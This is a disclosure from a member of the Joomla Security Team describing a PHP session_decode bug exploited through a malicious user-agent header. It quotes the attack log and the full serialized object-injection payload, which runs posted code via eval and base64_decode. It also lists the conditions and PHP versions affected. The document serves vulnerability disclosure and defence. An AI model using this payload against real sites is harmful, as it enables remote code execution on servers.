Original report:¶

my name is David Jardin, I'm a member of the Joomla Security Team and I
would like to make you aware of a PHP bug that might cause a severe
security issue in your application.

On monday, a webhost reported a new attack vector to us using a
malicious HTTP user-agent string:
74.3.170.33 - - [13/Dec/2015:01:33:19 +0100] "GET / HTTP/1.1" 200 12510
"http://google.com/"
"}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\
0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverM
ysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST¹¹¹));JFactory::getConfig();exit;\";s:1
9:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDrive
rMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
74.3.170.33 - - [13/Dec/2015:01:33:21 +0100] "POST / HTTP/1.1" 200 12697
"http://google.com/" "Mozilla/5.0 (X11; CrOS x86_64 6310.68.0)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.96 Safari/537.36"

While investigating the issue, we found out that Joomla is saving the
unfiltered (yeah, I know) user-agent string in the current session. And
the session is by default stored in a database table.

The attack payload itself without the escaping looks like this:
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnect
Handlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"fe
ed_url";s:60:"eval(base64_decode($_POST¹¹¹));JFactory::getConfig();exit;";s:19:"cache_name_function
";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s
:13:"\0\0\0connection";b:1;}?

It's a quite complex object injection exploit converted into a
serialized string that follows the internal syntax of session_encode()
and is closed by an unicode character that causes MySQL to truncate the
string after the exploit.

In the database the exploit code is prefixed by the valid session data
like this:
_default|a:8:{s:15:"session.counter";i:7;s:19:"session.timer.start";i:1450108514;s:18:"session.time
r.last";i:1450108532;s:17:"session.timer.now";i:1450108533;s:22:"session.client.browser";s:120:"}_te
st|O:21:"JDatabaseDriverMysqli"...EXPLOITCODE

As you can see, the first part with the valid data is cut off by the
leading } in the exploit code - and therefore the serialized data as
whole becomes invalid.
However, suprisingly session_decode doesn't fail but instead ignores the
first part, parsing only the exploit code which then leads to an
successful object injection attack.

This behavior is caused by a PHP bug that has been fixed a few weeks ago
without any taking further notice:
https://bugs.php.net/bug.php?id=70219

Joomla did a quick fix on this issue by removing the user-agent string
from the session, but after some further investigations we realized,
that this issue potentially affects each and every PHP application that:
1. uses a database session storage (which is required for the successful
truncation)
2. saves user provided strings without filtering/escaping characters
like } or |
3. runs on PHP < 5.4.45, < 5.5.29, < 5.6.13

Please check your applications for this vulnerability as soon as
possible. An exploit for the Joomla vulnerability is already in the wild
and I assume that attackers will realize the severness of this issue soon.

If you have any further questions, feel free to ping me!